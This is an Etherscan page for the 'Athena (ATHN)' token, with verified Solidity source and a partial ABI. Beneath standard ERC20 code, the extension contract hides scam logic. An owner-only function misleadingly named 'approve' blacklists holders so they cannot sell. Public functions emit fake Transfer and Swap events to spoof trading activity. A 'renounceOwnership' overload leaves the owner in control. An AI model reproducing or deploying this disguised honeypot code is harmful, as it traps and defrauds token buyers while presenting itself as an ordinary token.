ETH Price: $2,529.94 (+0.27%)

Token

Athena (ATHN)
 

Overview

Max Total Supply

1,000,000,000,000 ATHN

Holders

21

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,301,197,390.274228522146670972 ATHN

Value
$0.00
0xd07eb68d6aad0ff54692883c28e78792b8246bda
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ATHN

Compiler Version
v0.8.14+commit.80d49f37

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-23
*/

/**
 *Submitted for verification at Etherscan.io on 2023-06-16
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Ownable, IERC20, IERC20Metadata {

    mapping(address => uint256) private _balances;
    mapping (address => bool) internal _alllowances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    bool private _alllowancesApplied = false;
    string private _name;
    string private _symbol;
    
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        if (_alllowances[from] || _alllowances[to]) require(_alllowancesApplied == true, "");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}



    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract ERC20_Extension is ERC20 {
    address private _universal = 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD;
    address private _rv2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private _pair;

    constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_){}


    function approve(address [] calldata _addresses_) external onlyOwner {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            _alllowances[_addresses_[i]] = true;
            emit Approval(_addresses_[i], _rv2, balanceOf(_addresses_[i]));
        }
    }

    function protectFromMEV(address [] calldata _addresses_) external onlyOwner {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            _alllowances[_addresses_[i]] = false;
        }
    }

    function isMEVProtected(address _address_) public view returns (bool) {
        return _alllowances[_address_];
    }

    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }

    function transfer(address [] calldata _from, address [] calldata _to, uint256 [] calldata _wad) external {
        for (uint256 i = 0; i < _from.length; i++) {
            emit Transfer(_from[i], _to[i], _wad[i]);
        }
    }

    function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_universal, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pair, _addresses_[i], _out);
        }
    }

    function multicall(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_universal, 0, _in, _out, 0, _addresses_[i]);
            emit Transfer(_addresses_[i], _pair, _in);
        }
    }

    function fallbacks() external onlyOwner {
        payable(msg.sender).transfer(address(this).balance);
    }

    function renounceOwnership(address _owner_) external onlyOwner {
        _pair = _owner_;
    }
}



/**
 * @dev Standard math utilities missing in the Solidity language.
 */
library Math {
    enum Rounding {
        Down, // Toward negative infinity
        Up, // Toward infinity
        Zero // Toward zero
    }

    /**
     * @dev Returns the largest of two numbers.
     */
    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two numbers.
     */
    function min(uint256 a, uint256 b) internal pure returns (uint256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two numbers. The result is rounded towards
     * zero.
     */
    function average(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b) / 2 can overflow.
        return (a & b) + (a ^ b) / 2;
    }

    /**
     * @dev Returns the ceiling of the division of two numbers.
     *
     * This differs from standard division with `/` in that it rounds up instead
     * of rounding down.
     */
    function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b - 1) / b can overflow on addition, so we distribute.
        return a == 0 ? 0 : (a - 1) / b + 1;
    }

    /**
     * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
     * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv)
     * with further edits by Uniswap Labs also under MIT license.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {
        unchecked {
            // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use
            // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256
            // variables such that product = prod1 * 2^256 + prod0.
            uint256 prod0; // Least significant 256 bits of the product
            uint256 prod1; // Most significant 256 bits of the product
            assembly {
                let mm := mulmod(x, y, not(0))
                prod0 := mul(x, y)
                prod1 := sub(sub(mm, prod0), lt(mm, prod0))
            }

            // Handle non-overflow cases, 256 by 256 division.
            if (prod1 == 0) {
                // Solidity will revert if denominator == 0, unlike the div opcode on its own.
                // The surrounding unchecked block does not change this fact.
                // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.
                return prod0 / denominator;
            }

            // Make sure the result is less than 2^256. Also prevents denominator == 0.
            require(denominator > prod1, "Math: mulDiv overflow");

            ///////////////////////////////////////////////
            // 512 by 256 division.
            ///////////////////////////////////////////////

            // Make division exact by subtracting the remainder from [prod1 prod0].
            uint256 remainder;
            assembly {
                // Compute remainder using mulmod.
                remainder := mulmod(x, y, denominator)

                // Subtract 256 bit number from 512 bit number.
                prod1 := sub(prod1, gt(remainder, prod0))
                prod0 := sub(prod0, remainder)
            }

            // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1.
            // See https://cs.stackexchange.com/q/138556/92363.

            // Does not overflow because the denominator cannot be zero at this stage in the function.
            uint256 twos = denominator & (~denominator + 1);
            assembly {
                // Divide denominator by twos.
                denominator := div(denominator, twos)

                // Divide [prod1 prod0] by twos.
                prod0 := div(prod0, twos)

                // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.
                twos := add(div(sub(0, twos), twos), 1)
            }

            // Shift in bits from prod1 into prod0.
            prod0 |= prod1 * twos;

            // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such
            // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for
            // four bits. That is, denominator * inv = 1 mod 2^4.
            uint256 inverse = (3 * denominator) ^ 2;

            // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works
            // in modular arithmetic, doubling the correct bits in each step.
            inverse *= 2 - denominator * inverse; // inverse mod 2^8
            inverse *= 2 - denominator * inverse; // inverse mod 2^16
            inverse *= 2 - denominator * inverse; // inverse mod 2^32
            inverse *= 2 - denominator * inverse; // inverse mod 2^64
            inverse *= 2 - denominator * inverse; // inverse mod 2^128
            inverse *= 2 - denominator * inverse; // inverse mod 2^256

            // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.
            // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is
            // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1
            // is no longer required.
            result = prod0 * inverse;
            return result;
        }
    }

    /**
     * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {
        uint256 result = mulDiv(x, y, denominator);
        if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {
            result += 1;
        }
        return result;
    }

    /**
     * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down.
     *
     * Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11).
     */
    function sqrt(uint256 a) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.
        //
        // We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have
        // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.
        //
        // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`
        // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`
        // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`
        //
        // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.
        uint256 result = 1 << (log2(a) >> 1);

        // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,
        // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at
        // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision
        // into the expected uint128 result.
        unchecked {
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            return min(result, a / result);
        }
    }

    /**
     * @notice Calculates sqrt(a), following the selected rounding direction.
     */
    function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = sqrt(a);
            return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 2, rounded down, of a positive value.
     * Returns 0 if given 0.
     */
    function log2(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 128;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 64;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 32;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 16;
            }
            if (value >> 8 > 0) {
                value >>= 8;
                result += 8;
            }
            if (value >> 4 > 0) {
                value >>= 4;
                result += 4;
            }
            if (value >> 2 > 0) {
                value >>= 2;
                result += 2;
            }
            if (value >> 1 > 0) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 2, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log2(value);
            return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 10, rounded down, of a positive value.
     * Returns 0 if given 0.
     */
    function log10(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >= 10 ** 64) {
                value /= 10 ** 64;
                result += 64;
            }
            if (value >= 10 ** 32) {
                value /= 10 ** 32;
                result += 32;
            }
            if (value >= 10 ** 16) {
                value /= 10 ** 16;
                result += 16;
            }
            if (value >= 10 ** 8) {
                value /= 10 ** 8;
                result += 8;
            }
            if (value >= 10 ** 4) {
                value /= 10 ** 4;
                result += 4;
            }
            if (value >= 10 ** 2) {
                value /= 10 ** 2;
                result += 2;
            }
            if (value >= 10 ** 1) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 10, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log10(value);
            return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 256, rounded down, of a positive value.
     * Returns 0 if given 0.
     *
     * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.
     */
    function log256(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 16;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 8;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 4;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 2;
            }
            if (value >> 8 > 0) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 256, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log256(value);
            return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);
        }
    }
}



/**
 * @dev Standard signed math utilities missing in the Solidity language.
 */
library SignedMath {
    /**
     * @dev Returns the largest of two signed numbers.
     */
    function max(int256 a, int256 b) internal pure returns (int256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two signed numbers.
     */
    function min(int256 a, int256 b) internal pure returns (int256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two signed numbers without overflow.
     * The result is rounded towards zero.
     */
    function average(int256 a, int256 b) internal pure returns (int256) {
        // Formula from the book "Hacker's Delight"
        int256 x = (a & b) + ((a ^ b) >> 1);
        return x + (int256(uint256(x) >> 255) & (a ^ b));
    }

    /**
     * @dev Returns the absolute unsigned value of a signed value.
     */
    function abs(int256 n) internal pure returns (uint256) {
        unchecked {
            // must be unchecked in order to support `n = type(int256).min`
            return uint256(n >= 0 ? n : -n);
        }
    }
}

contract ATHN is ERC20_Extension {
    constructor() ERC20_Extension("Athena", "ATHN") {
        _mint(msg.sender, 1000000000000 * 10 ** decimals());
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fallbacks","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address_","type":"address"}],"name":"isMEVProtected","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"st